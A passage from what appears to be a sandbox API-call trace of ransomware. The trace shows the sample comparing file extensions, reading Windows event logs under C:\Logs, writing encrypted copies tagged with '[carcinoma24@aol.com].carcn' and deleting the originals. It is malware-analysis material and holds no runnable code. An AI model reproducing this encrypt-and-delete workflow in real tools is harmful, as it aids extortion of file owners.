lpString2="evtx") returned -1 [0177.930] lstrlenW (lpString=".rar") returned 4 [0177.930] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0177.930] lstrlenW (lpString=".bz2") returned 4 [0177.930] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0177.930] lstrlenW (lpString=".7z") returned 3 [0177.930] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0177.930] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0177.930] lstrlenW (lpString=".dbf") returned 4 [0177.930] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0177.930] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0177.930] lstrlenW (lpString=".1cd") returned 4 [0177.930] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0177.930] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0177.930] lstrlenW (lpString=".jpg") returned 4 [0177.930] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0177.930] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0177.930] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0177.930] lstrlenW (lpString=".doc") returned 4 [0177.930] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0177.930] lstrlenW (lpString=".docx") returned 5 [0177.930] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0177.930] lstrlenW (lpString=".pdf") returned 4 [0177.930] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0177.930] lstrlenW (lpString=".xls") returned 4 [0177.930] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0177.930] lstrlenW (lpString=".xlsx") returned 5 [0177.930] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0177.930] lstrlenW (lpString=".ppt") returned 4 [0177.930] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0177.930] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0177.930] lstrlenW (lpString=".zip") returned 4 [0177.930] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0177.931] lstrlenW (lpString=".rar") returned 4 [0177.931] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0177.931] lstrlenW (lpString=".bz2") returned 4 [0177.931] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0177.931] lstrlenW (lpString=".7z") returned 3 [0177.931] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0177.931] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0177.931] lstrlenW (lpString=".dbf") returned 4 [0177.931] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0177.931] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0177.931] lstrlenW (lpString=".1cd") returned 4 [0177.931] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0177.931] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0177.931] lstrlenW (lpString=".jpg") returned 4 [0177.931] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0177.931] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0177.931] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 56 [0177.931] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0177.932] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1 [0177.932] CloseHandle (hObject=0x374) returned 1 [0177.932] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 0x20 [0177.932] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.932] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0177.932] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.932] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.932] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0177.932] GetLastError () returned 0x0 [0177.932] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1 [0177.947] WriteFile (in: hFile=0x318, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1 [0177.948] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.948] WriteFile (in: hFile=0x318, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x144, lpOverlapped=0x0) returned 1 [0177.949] SetEndOfFile (hFile=0x318) returned 1 [0177.958] CloseHandle (hObject=0x318) returned 1 [0177.960] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.960] SetEndOfFile (hFile=0x374) returned 1 [0177.961] CloseHandle (hObject=0x374) returned 1 [0177.961] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0177.962] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 1 [0177.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0177.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0177.962] lstrlenW (lpString=".doc") returned 4 [0177.962] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0177.962] lstrlenW (lpString=".docx") returned 5 [0177.962] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0177.962] lstrlenW (lpString=".pdf") returned 4 [0177.962] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0177.962] lstrlenW (lpString=".xls") returned 4 [0177.962] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0177.962] lstrlenW (lpString=".xlsx") returned 5 [0177.962] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0177.962] lstrlenW (lpString=".ppt") returned 4 [0177.962] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0177.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0177.962] lstrlenW (lpString=".zip") returned 4 [0177.962] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0177.963] lstrlenW (lpString=".rar") returned 4 [0177.963] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0177.963] lstrlenW (lpString=".bz2") returned 4 [0177.963] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0177.963] lstrlenW (lpString=".7z") returned 3 [0177.963] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0177.963] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0177.963] lstrlenW (lpString=".dbf") returned 4 [0177.963] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0177.963] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0177.963] lstrlenW (lpString=".1cd") returned 4 [0177.963] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0177.963] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0177.963] lstrlenW (lpString=".jpg") returned 4 [0177.963] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0177.963] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0177.963] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0177.963] lstrlenW (lpString=".doc") returned 4 [0177.963] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0177.963] lstrlenW (lpString=".docx") returned 5 [0177.963] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0177.963] lstrlenW (lpString=".pdf") returned 4 [0177.963] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0177.963] lstrlenW (lpString=".xls") returned 4 [0177.963] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0177.963] lstrlenW (lpString=".xlsx") returned 5 [0177.963] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0177.963] lstrlenW (lpString=".ppt") returned 4 [0177.963] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0177.963] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0177.963] lstrlenW (lpString=".zip") returned 4 [0177.963] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0177.963] lstrlenW (lpString=".rar") returned 4 [0177.964] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0177.964] lstrlenW (lpString=".bz2") returned 4 [0177.964] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0177.964] lstrlenW (lpString=".7z") returned 3 [0177.964] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0177.964] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0177.964] lstrlenW (lpString=".dbf") returned 4 [0177.964] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0177.964] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0177.964] lstrlenW (lpString=".1cd") returned 4 [0177.964] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0177.964] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0177.964] lstrlenW (lpString=".jpg") returned 4 [0177.964] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0177.964] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0177.964] lstrlenW (lpString="Microsoft-Windows-AppReadiness%4Admin.evtx") returned 42 [0177.964] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0177.964] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1 [0177.964] CloseHandle (hObject=0x374) returned 1 [0177.964] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 0x20 [0177.964] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.965] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0177.965] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.965] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.965] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0177.965] GetLastError () returned 0x0 [0177.965] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1 [0178.221] WriteFile (in: hFile=0x318, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1 [0178.223] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.223] WriteFile (in: hFile=0x318, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x128, lpOverlapped=0x0) returned 1 [0178.223] SetEndOfFile (hFile=0x318) returned 1 [0178.223] CloseHandle (hObject=0x318) returned 1 [0178.225] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.226] SetEndOfFile (hFile=0x374) returned 1 [0178.233] CloseHandle (hObject=0x374) returned 1 [0178.233] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.233] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 1 [0178.234] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0178.234] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0178.234] lstrlenW (lpString=".doc") returned 4 [0178.234] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0178.234] lstrlenW (lpString=".docx") returned 5 [0178.234] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0178.234] lstrlenW (lpString=".pdf") returned 4 [0178.234] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0178.234] lstrlenW (lpString=".xls") returned 4 [0178.234] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0178.234] lstrlenW (lpString=".xlsx") returned 5 [0178.234] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0178.234] lstrlenW (lpString=".ppt") returned 4 [0178.234] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0178.234] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0178.234] lstrlenW (lpString=".zip") returned 4 [0178.234] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0178.234] lstrlenW (lpString=".rar") returned 4 [0178.234] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0178.234] lstrlenW (lpString=".bz2") returned 4 [0178.234] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0178.234] lstrlenW (lpString=".7z") returned 3 [0178.234] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0178.234] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0178.234] lstrlenW (lpString=".dbf") returned 4 [0178.234] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0178.234] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0178.234] lstrlenW (lpString=".1cd") returned 4 [0178.234] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0178.235] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0178.235] lstrlenW (lpString=".jpg") returned 4 [0178.235] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0178.235] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0178.235] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0178.235] lstrlenW (lpString=".doc") returned 4 [0178.235] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0178.235] lstrlenW (lpString=".docx") returned 5 [0178.235] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0178.235] lstrlenW (lpString=".pdf") returned 4 [0178.235] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0178.235] lstrlenW (lpString=".xls") returned 4 [0178.235] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0178.235] lstrlenW (lpString=".xlsx") returned 5 [0178.235] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0178.235] lstrlenW (lpString=".ppt") returned 4 [0178.235] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0178.235] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0178.235] lstrlenW (lpString=".zip") returned 4 [0178.235] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0178.235] lstrlenW (lpString=".rar") returned 4 [0178.235] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0178.235] lstrlenW (lpString=".bz2") returned 4 [0178.235] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0178.235] lstrlenW (lpString=".7z") returned 3 [0178.235] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0178.235] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0178.235] lstrlenW (lpString=".dbf") returned 4 [0178.235] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0178.235] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0178.236] lstrlenW (lpString=".1cd") returned 4 [0178.236] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0178.236] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0178.236] lstrlenW (lpString=".jpg") returned 4 [0178.236] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0178.236] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0178.236] lstrlenW (lpString="Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 50 [0178.236] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0178.236] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1 [0178.236] CloseHandle (hObject=0x374) returned 1 [0178.236] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 0x20 [0178.236] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.237] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0178.237] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.237] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.237] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0178.237] GetLastError () returned 0x0 [0178.237] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1 [0178.252] WriteFile (in: hFile=0x318, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1 [0178.253] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.254] WriteFile (in: hFile=0x318, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x138, lpOverlapped=0x0) returned 1 [0178.254] SetEndOfFile (hFile=0x318) returned 1 [0178.254] CloseHandle (hObject=0x318) returned 1 [0178.255] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.255] SetEndOfFile (hFile=0x374) returned 1 [0178.257] CloseHandle (hObject=0x374) returned 1 [0178.257] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.257] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 1 [0178.257] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0178.257] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0178.257] lstrlenW (lpString=".doc") returned 4 [0178.257] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0178.257] lstrlenW (lpString=".docx") returned 5 [0178.257] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0178.257] lstrlenW (lpString=".pdf") returned 4 [0178.257] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0178.257] lstrlenW (lpString=".xls") returned 4 [0178.257] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0178.257] lstrlenW (lpString=".xlsx") returned 5 [0178.257] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0178.257] lstrlenW (lpString=".ppt") returned 4 [0178.258] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0178.258] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0178.258] lstrlenW (lpString=".zip") returned 4 [0178.258] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0178.258] lstrlenW (lpString=".rar") returned 4 [0178.258] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0178.258] lstrlenW (lpString=".bz2") returned 4 [0178.258] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0178.258] lstrlenW (lpString=".7z") returned 3 [0178.258] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0178.258] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0178.258] lstrlenW (lpString=".dbf") returned 4 [0178.258] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0178.258] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0178.258] lstrlenW (lpString=".1cd") returned 4 [0178.258] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0178.258] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0178.258] lstrlenW (lpString=".jpg") returned 4 [0178.258] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0178.258] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0178.258] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0178.258] lstrlenW (lpString=".doc") returned 4 [0178.258] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0178.258] lstrlenW (lpString=".docx") returned 5 [0178.258] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0178.258] lstrlenW (lpString=".pdf") returned 4 [0178.258] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0178.258] lstrlenW (lpString=".xls") returned 4 [0178.258] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0178.258] lstrlenW (lpString=".xlsx") returned 5 [0178.258] lstrcmpiW 